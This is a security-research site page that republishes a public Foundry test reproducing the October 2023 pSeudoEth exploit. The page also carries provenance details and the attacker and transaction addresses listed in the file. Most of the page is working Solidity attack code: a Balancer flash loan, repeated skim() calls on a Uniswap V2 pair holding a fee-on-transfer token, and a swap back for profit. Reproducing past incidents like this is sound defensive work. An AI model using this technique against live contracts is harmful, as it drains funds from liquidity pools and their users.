Skip to content
THREATWIRE

Public reproduction file

src/test/2023-10/pSeudoEth_exp.sol

Public reproduction file for dataset entry pSeudoEth.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/pSeudoEth_exp.sol78 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~1.4 ETH
8// Attacker : https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba
9// Attack Contract : https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8
10// Vulnerable Contract : https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161
11// Attack Tx : https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930
13// @Analysis
14// Twitter Guy : https://twitter.com/CertiKAlert/status/1710979615164944729
16contract ContractTest is Test {
17 IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
18 IERC20 pEth = IERC20(0x62aBdd605E710Cc80a52062a8cC7c5d659dDDbE7);
19 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
20 IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
21 IUniswapV2Pair UNIPair = IUniswapV2Pair(0x2033B54B6789a963A02BfCbd40A46816770f1161);
22 uint256 amount = 51_970_861_731_879_316_502_999;
24 function setUp() public {
25 vm.createSelectFork("mainnet", 18_305_132 - 1);
26 vm.label(address(WETH), "WETH");
27 vm.label(address(Balancer), "Balancer");
28 vm.label(address(UniRouter), "Uniswap V2: Router");
29 vm.label(address(UNIPair), "Uniswap V2: pEth");
30 approveAll();
31 }
33 function testExploit() external {
34 uint256 startWETH = WETH.balanceOf(address(this));
35 console.log("Before Start: %d WETH", startWETH);
36 address[] memory tokens = new address[](1);
37 tokens[0] = address(WETH);
38 uint256[] memory amounts = new uint256[](1);
39 amounts[0] = amount;
40 Balancer.flashLoan(address(this), tokens, amounts, "");
42 uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;
43 uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;
44 console.log("Attack Exploit: %s.%s WETH", intRes, decRes);
45 }
47 function receiveFlashLoan(
48 address[] memory tokens,
49 uint256[] memory amounts,
50 uint256[] memory feeAmounts,
51 bytes memory userData
52 ) external {
53 address[] memory path = new address[](2);
54 (path[0], path[1]) = (address(WETH), address(pEth));
55 UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
56 amounts[0], 0, path, address(this), type(uint256).max
57 );
58 uint256 pEth_amount = pEth.balanceOf(address(this));
59 pEth.transfer(address(UNIPair), pEth_amount);
61 for (uint256 i = 0; i < 10; i++) {
62 UNIPair.skim(address(UNIPair));
63 }
65 (path[0], path[1]) = (address(pEth), address(WETH));
66 pEth_amount = pEth.balanceOf(address(this));
67 UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
68 pEth_amount, 0, path, address(this), type(uint256).max
69 );
71 WETH.transfer(address(Balancer), amount);
72 }
74 function approveAll() internal {
75 WETH.approve(address(UniRouter), type(uint256).max);
76 pEth.approve(address(UniRouter), type(uint256).max);
77 }

Analysis

Dataset entry

Public Foundry test for “pSeudoEth” (2023-10-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xea75aec151f968b8de3789ca201a2a3a7faeefba

  • Attack Contract

    0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8

  • Vulnerable Contract

    0x2033b54b6789a963a02bfcbd40a46816770f1161

  • Attack Tx

    0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930

File record

Name
pSeudoEth
Path
src/test/2023-10/pSeudoEth_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a509e07b74428e09f95a756d2468febe0bad4773
Language
Solidity
Size
79 lines
Date
2023-10-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-10/pSeudoEth_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a509e07b74428e09f95a756d2468febe0bad4773, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.